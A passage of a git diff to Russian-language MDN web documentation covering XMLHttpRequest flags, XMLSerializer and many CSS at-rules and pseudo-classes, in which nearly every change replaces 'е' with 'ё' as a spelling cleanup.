setRequestHeader.</dd> + <dd>Boolean: Установка этого флага в значение <code>true</code> приведёт к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.</dd> <dt><code>mozSystem</code></dt> - <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}})); не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd> + <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учётных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}})); не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd> </dl> </dd> </dl> diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html index 7df04c7f6d..9e8823e80c 100644 --- a/files/ru/web/api/xmlserializer/index.html +++ b/files/ru/web/api/xmlserializer/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/XMLSerializer <dt id="serializeToString"><code>XMLSerializer.serializeToString</code>()</dt> <dd>Возвращает сериализованное дерево или ветку в виде строки</dd> <dt id="serializeToStream"><code>XMLSerializer.serializeToStream()</code> {{ non-standard_inline() }}{{ deprecated_inline() }}</dt> - <dd>Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd> + <dd>Поддерево, обёрнутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd> </dl> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html index c8781e4d40..4ea2a2dc87 100644 --- a/files/ru/web/css/@counter-style/additive-symbols/index.html +++ b/files/ru/web/css/@counter-style/additive-symbols/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/@counter-style/additive-symbols --- <h2 id="Описание">Описание</h2> -<p>Дескриптор аддитивных символов аналогичен дескриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора<span class="seoSummary"> {{cssxref('system')}} <em>аддитивное</em>. Дескриптор <code>additive-symbols</code> </span>определяет так называемые аддитивные кортежи<span class="seoSummary">, </span>каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес<span class="seoSummary">.</span> Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.</p> +<p>Дескриптор аддитивных символов аналогичен дескриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>и позволяет пользователю указывать символы которые будут использоваться для представлений счётчика, когда значение дескриптора<span class="seoSummary"> {{cssxref('system')}} <em>аддитивное</em>. Дескриптор <code>additive-symbols</code> </span>определяет так называемые аддитивные кортежи<span class="seoSummary">, </span>каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес<span class="seoSummary">.</span> Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.</p> <p>Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор <code>symbols</code> используется вместо аддитивных символов для указания символов счетчика.</p> diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html index 603b7a8a66..e1466f1b1a 100644 --- a/files/ru/web/css/@font-face/font-display/index.html +++ b/files/ru/web/css/@font-face/font-display/index.html @@ -7,11 +7,11 @@ translation_of: Web/CSS/@font-face/font-display <h2 id="Описание">Описание</h2> -<p>Дескриптор <code>font-display</code> определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.</p> +<p>Дескриптор <code>font-display</code> определяет то, как шрифт, подключённый через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.</p> <h3 id="Временная_шкала_отображения_шрифтов">Временная шкала отображения шрифтов</h3> -<p>Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта. Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.</p> +<p>Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта. Эта временная шкала разделена на три отрезка, приведённых ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.</p> <dl> <dt>Период блокировки шрифта (Font block period)</dt> @@ -39,13 +39,13 @@ font-display: optional;</pre> <dt>auto</dt> <dd>Стратегию загрузки шрифта определяет пользовательский агент.</dd> <dt>block</dt> - <dd>Для шрифта задается короткий период блокировки и бесконечный период подмены.</dd> + <dd>Для шрифта задаётся короткий период блокировки и бесконечный период подмены.</dd> <dt>swap</dt> - <dd>Для шрифта не задается период блокировки и задается бесконечный период подмены.</dd> + <dd>Для шрифта не задаётся период блокировки и задаётся бесконечный период подмены.</dd> <dt>fallback</dt> - <dd>Для шрифта задается очень короткий период блокировки и короткий период подмены.</dd> + <dd>Для шрифта задаётся очень короткий период блокировки и короткий период подмены.</dd> <dt>optional</dt> - <dd>Для шрифта задается очень короткий период блокировки и не задается период подмены.</dd> + <dd>Для шрифта задаётся очень короткий период блокировки и не задаётся период подмены.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html index 6382b864b4..b638ecc425 100644 --- a/files/ru/web/css/@font-face/index.html +++ b/files/ru/web/css/@font-face/index.html @@ -11,7 +11,7 @@ tags: - типографика translation_of: Web/CSS/@font-face --- -<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule">@-правило</a> <font>позволяет указать </font><font>шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция </font><code>local()</code>, с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции <code>url()</code>.</div> +<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule">@-правило</a> <font>позволяет указать </font><font>шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удалённого сервера, либо с компьютера пользователя. Если в правиле была объявлена функция </font><code>local()</code>, с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции <code>url()</code>.</div> <div> </div> @@ -19,7 +19,7 @@ translation_of: Web/CSS/@font-face <div> </div> -<div>Распространенным случаем является одновременное использование <code>url()</code> и <code>local()</code>, чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.</div> +<div>Распространённым случаем является одновременное использование <code>url()</code> и <code>local()</code>, чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.</div> <div> </div> @@ -56,7 +56,7 @@ translation_of: Web/CSS/@font-face <dt>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</dt> <dd>Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.</dd> <dt>{{cssxref("@font-face/src", "src")}}</dt> - <dd><font>Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.<br> + <dd><font>Задаёт ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удалённого файла шрифта или имя шрифта на компьютере пользователя.<br> <br> Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции <code>format()</code>:</font><br> diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html index d04e91a2d0..7a122d3ad6 100644 --- a/files/ru/web/css/@font-feature-values/index.html +++ b/files/ru/web/css/@font-feature-values/index.html @@ -29,7 +29,7 @@ translation_of: Web/CSS/@font-feature-values } </pre> -<p>Правило <code>@font-feature-values</code> может использоваться как на вернем уровне вашего CSS так и внутри любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS правила</a>.</p> +<p>Правило <code>@font-feature-values</code> может использоваться как на вернём уровне вашего CSS так и внутри любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS правила</a>.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -84,5 +84,5 @@ translation_of: Web/CSS/@font-feature-values <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определенные этим правилом.</li> + <li>Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определённые этим правилом.</li> </ul> diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html index f56c90108b..123d6d7eeb 100644 --- a/files/ru/web/css/@media/inverted-colors/index.html +++ b/files/ru/web/css/@media/inverted-colors/index.html @@ -30,7 +30,7 @@ translation_of: Web/CSS/@media/inverted-colors <h3 id="HTML">HTML</h3> -<pre class="brush: html"><p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.</p> +<pre class="brush: html"><p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия жёлтого по чёрному). Если нет, он должен быть красным на светло-сером.</p> <p>Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.</p></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html index 723c964b8f..055dffc88d 100644 --- a/files/ru/web/css/@media/orientation/index.html +++ b/files/ru/web/css/@media/orientation/index.html @@ -8,7 +8,7 @@ translation_of: Web/CSS/@media/orientation <p><a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">медиа-функции</a> <strong><code>orientation</code></strong> может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для <a href="/en-US/docs/Web/CSS/Paged_media">медийных страниц</a>).</p> <div class="note"> -<p><strong>Примечание:</strong> Эта функция не соответствует ориентации <em>устройства</em>. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.</p> +<p><strong>Примечание:</strong> Эта функция не соответствует ориентации <em>устройства</em>. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведёт к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html index d61e6d2ca3..04daa7d53e 100644 --- a/files/ru/web/css/@page/index.html +++ b/files/ru/web/css/@page/index.html @@ -2,7 +2,7 @@ title: '@page' slug: Web/CSS/@page tags: - - Верстка + - Вёрстка - печать - страница translation_of: Web/CSS/@page @@ -99,5 +99,5 @@ translation_of: Web/CSS/@page <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Смотрите тикет <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> в Bugzilla для отслеживания прогресса по теме (базовый страничный счетчик, и т.д.)</li> + <li>Смотрите тикет <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> в Bugzilla для отслеживания прогресса по теме (базовый страничный счётчик, и т.д.)</li> </ul> diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html index 56ee461658..cbbaf38b69 100644 --- a/files/ru/web/css/@viewport/index.html +++ b/files/ru/web/css/@viewport/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/@viewport <h2 id="Кратко">Кратко</h2> -<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.</p> +<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содержит набор вложенных дескрипторов в блоке CSS, который разделён фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,13 +32,13 @@ translation_of: Web/CSS/@viewport <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt> <dd>Используется при определении ширины видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt> - <dd>Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).</dd> + <dd>Сокращённый дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt> <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt> <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt> - <dd>Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).</dd> + <dd>Сокращённый дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt> <dd>Устанавливает начальный коэффициент масштабирования.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt> diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html index 872ef81e58..c194469e7a 100644 --- a/files/ru/web/css/_colon_-moz-focusring/index.html +++ b/files/ru/web/css/_colon_-moz-focusring/index.html @@ -33,7 +33,7 @@ translation_of: 'Web/CSS/:-moz-focusring' <h2 id="Спецификации">Спецификации</h2> -<p>Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.</p> +<p>Этот псевдокласс пока ещё не определён ни в одной спецификации, хотя и прошёл этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html index 48c095accb..83a7a93462 100644 --- a/files/ru/web/css/_colon_-moz-only-whitespace/index.html +++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html @@ -72,7 +72,7 @@ div { <tr> <td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td> <td>{{Spec2("CSS4 Selectors")}}</td> - <td>Определен впервые</td> + <td>Определён впервые</td> </tr> </tbody> </table> diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html index 95ede05087..839d8323c6 100644 --- a/files/ru/web/css/_colon_any-link/index.html +++ b/files/ru/web/css/_colon_any-link/index.html @@ -5,7 +5,7 @@ tags: - ':any-link' - CSS - Web - - Верстка + - Вёрстка - Гиперссылки - Справка - Ссылки diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html index 45ac8c1819..e13201061e 100644 --- a/files/ru/web/css/_colon_default/index.html +++ b/files/ru/web/css/_colon_default/index.html @@ -14,7 +14,7 @@ input:default { background-color: lime; }</pre> -<p>Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс <code>:default</code> найдет <em>все</em> эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.</p> +<p>Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс <code>:default</code> найдёт <em>все</em> эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html index 09422f6f13..4cf0bccb4b 100644 --- a/files/ru/web/css/_colon_dir/index.html +++ b/files/ru/web/css/_colon_dir/index.html @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:dir' </div> <div class="note"> -<p><strong>Примечание:</strong> В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.</p> +<p><strong>Примечание:</strong> В HTML, направление задаётся атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html index 86a34bd10a..0c5812445b 100644 --- a/files/ru/web/css/_colon_disabled/index.html +++ b/files/ru/web/css/_colon_disabled/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/:disabled' <h2 id="Описание">Описание</h2> -<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:disabled</code> находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.</p> +<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:disabled</code> находит любой отключённый элемент. Элемент отключён, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включённое состояние, когда его можно активировать или сфокусировать.</p> <h2 id="Примеры">Примеры</h2> @@ -17,9 +17,9 @@ translation_of: 'Web/CSS/:disabled' <dl> <dt>input:disabled</dt> - <dd>Выберет все отключенные поля ввода</dd> + <dd>Выберет все отключённые поля ввода</dd> <dt>select.country:disabled</dt> - <dd>Найдёт все отключенные <code>select</code> элементы с классом <code>country</code></dd> + <dd>Найдёт все отключённые <code>select</code> элементы с классом <code>country</code></dd> </dl> <h3 id="Пример_использования">Пример использования</h3> diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html index 7e83a52a5d..99e4402da0 100644 --- a/files/ru/web/css/_colon_enabled/index.html +++ b/files/ru/web/css/_colon_enabled/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:enabled' <h2 id="Описание">Описание</h2> -<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:enabled</code> находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.</p> +<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:enabled</code> находит любой включённый элемент. Элемент включён, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключённое состояние, когда его нельзя активировать или сфокусировать.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html index d31fc8acd2..927a3a5098 100644 --- a/files/ru/web/css/_colon_first-child/index.html +++ b/files/ru/web/css/_colon_first-child/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:first-child' <pre class="brush: css no-line-numbers">> /* Выбирает любой <p>, который является первым элементом - среди своих братьев и сестер */ + среди своих братьев и сестёр */ p:first-child { color: lime; }</pre> diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 3156d5c66e..a509c175d3 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -17,7 +17,7 @@ translation_of: 'Web/CSS/:focus-visible' <h3 id="Базовый_пример">Базовый пример</h3> -<p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> +<p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> <pre class="brush: html notranslate"><input value="Default styles"><br> <button>Default styles</button><br> diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html index 206b74a0e9..af809f7761 100644 --- a/files/ru/web/css/_colon_focus/index.html +++ b/files/ru/web/css/_colon_focus/index.html @@ -102,7 +102,7 @@ input:focus { <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("css.selectors.focus")}}</p> </div> diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html index 5dc0c1afec..c527af137f 100644 --- a/files/ru/web/css/_colon_fullscreen/index.html +++ b/files/ru/web/css/_colon_fullscreen/index.html @@ -2,7 +2,7 @@ title: ':fullscreen' slug: 'Web/CSS/:fullscreen' tags: - - Верстка + - Вёрстка - полноэкранный режим - псевдокласс - экран @@ -36,7 +36,7 @@ translation_of: 'Web/CSS/:fullscreen' <button id="fs-toggle">Toggle Fullscreen</button></pre> -<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.</p> +<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> будет изменятся между бледно-красный и бледно-зелёный в зависимости от того, находится ли документ в полноэкранном режиме.</p> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html index d4cf598129..e601e36af1 100644 --- a/files/ru/web/css/_colon_indeterminate/index.html +++ b/files/ru/web/css/_colon_indeterminate/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:indeterminate' <p><a href="/ru/docs/Web/CSS">CSS</a><a href="/ru/docs/Web/CSS/Псевдо-классы"> псевдокласс</a> <strong><code>:indeterminate</code></strong> находит элементы в неопределённом состоянии.</p> -<pre class="brush: css no-line-numbers">/* Выбирает все элементы <input>, которые находятся в неопределенном состоянии */ +<pre class="brush: css no-line-numbers">/* Выбирает все элементы <input>, которые находятся в неопределённом состоянии */ input:indeterminate { background: lime; }</pre> @@ -32,7 +32,7 @@ input:indeterminate { <h3 id="Чекбокс_и_радио_переключатели">Чекбокс и радио переключатели</h3> -<p>В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.</p> +<p>В этом примере специальные стили применяются к меткам, которые привязаны к неопределённым полям формы.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html index cd8f1848d1..d365dfa795 100644 --- a/files/ru/web/css/_colon_is/index.html +++ b/files/ru/web/css/_colon_is/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:is' <p><strong><code>:is()</code></strong> это функция <a href="/ru/docs/Web/CSS">псевдокласс CSS</a> принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.</p> -<p>Заметьте, что в данный момент браузеры поддерживают ее функционал как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> +<p>Заметьте, что в данный момент браузеры поддерживают её функционал как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> <pre class="brush: css no-line-numbers notranslate">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ :is(header, main, footer) p:hover { @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:is' cursor: pointer; } -/* Пример приведенный выше эквивалентен следующему */ +/* Пример приведённый выше эквивалентен следующему */ header p:hover, main p:hover, footer p:hover { diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html index 88f406851d..8a9fcbb9b2 100644 --- a/files/ru/web/css/_colon_left/index.html +++ b/files/ru/web/css/_colon_left/index.html @@ -2,7 +2,7 @@ title: ':left' slug: 'Web/CSS/:left' tags: - - Верстка + - Вёрстка - Псевдоклассы translation_of: 'Web/CSS/:left' --- diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html index 46d0f88746..d3f5c5a0ef 100644 --- a/files/ru/web/css/_colon_target/index.html +++ b/files/ru/web/css/_colon_target/index.html @@ -2,7 +2,7 @@ title: ':target' slug: 'Web/CSS/:target' tags: - - Верстка + - Вёрстка - Псевдоклассы translation_of: 'Web/CSS/:target' --- @@ -153,7 +153,7 @@ p:target i { cursor: pointer; } -/* Обертка lightbox */ +/* Обёртка lightbox */ .lightbox .close::before { left: 0; top: 0; diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html index f4288a183b..c1b516e912 100644 --- a/files/ru/web/css/_colon_visited/index.html +++ b/files/ru/web/css/_colon_visited/index.html @@ -12,9 +12,9 @@ translation_of: 'Web/CSS/:visited' <p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:visited</code> позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило <code>:visited</code> до правила <code>:link</code>, но после других, определённых <em>LVHA-порядком</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> <div class="note style-wrap"> -<p><strong>Замечание: </strong>Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code> и <code>stroke</code>. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвященных ссылок вместо него (но если прозрачность - <code>0</code>, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвященных ссылок).</p> +<p><strong>Замечание: </strong>Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code> и <code>stroke</code>. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвящённых ссылок вместо него (но если прозрачность - <code>0</code>, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвящённых ссылок).</p> -<p>Несмотря на то, что цвет может меняться, метод <code>getComputedStyle</code> наврёт и всегда будет давать значение цвета непосвященных ссылок.</p> +<p>Несмотря на то, что цвет может меняться, метод <code>getComputedStyle</code> наврёт и всегда будет давать значение цвета непосвящённых ссылок.</p> <p>Для дополнительной информации об ограничениях и их причин, смотрите <a href="/ru/docs/CSS/Privacy_and_the_:visited_selector" title="/ru/docs/CSS/Privacy_and_the_:visited_selector">Приватность и селектор :visited</a>.</p> </div> diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html index 3eb34a7c0e..5a7b922577 100644 --- a/files/ru/web/css/_colon_where/index.html 